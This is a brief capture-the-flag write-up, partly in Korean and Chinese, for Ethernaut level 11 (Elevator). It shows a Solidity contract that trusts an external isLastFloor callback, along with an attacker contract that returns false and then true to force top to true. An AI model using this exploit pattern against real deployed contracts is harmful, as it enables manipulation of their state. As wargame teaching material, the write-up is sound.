Ethernaut系列-레벨 11(엘리베이터)

4043 단어

레벨 11(엘리베이터):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}


通关要求



상단=참

要点



逻辑错误,设置top不能再调用外部

解题思路



isLastFloor第一次返回false,第二次返回true
계약/11Elevator.sol

    bool firstCallLastFloor = true;

    function run(address _levelAddress) external {     
        ILevel(_levelAddress).goTo(1);
    }

    function isLastFloor(uint _floor) external returns (bool) {
        if (firstCallLastFloor){
            firstCallLastFloor = false;
            return false;
        }else{
            return true;
        }
    }

좋은 웹페이지 즐겨찾기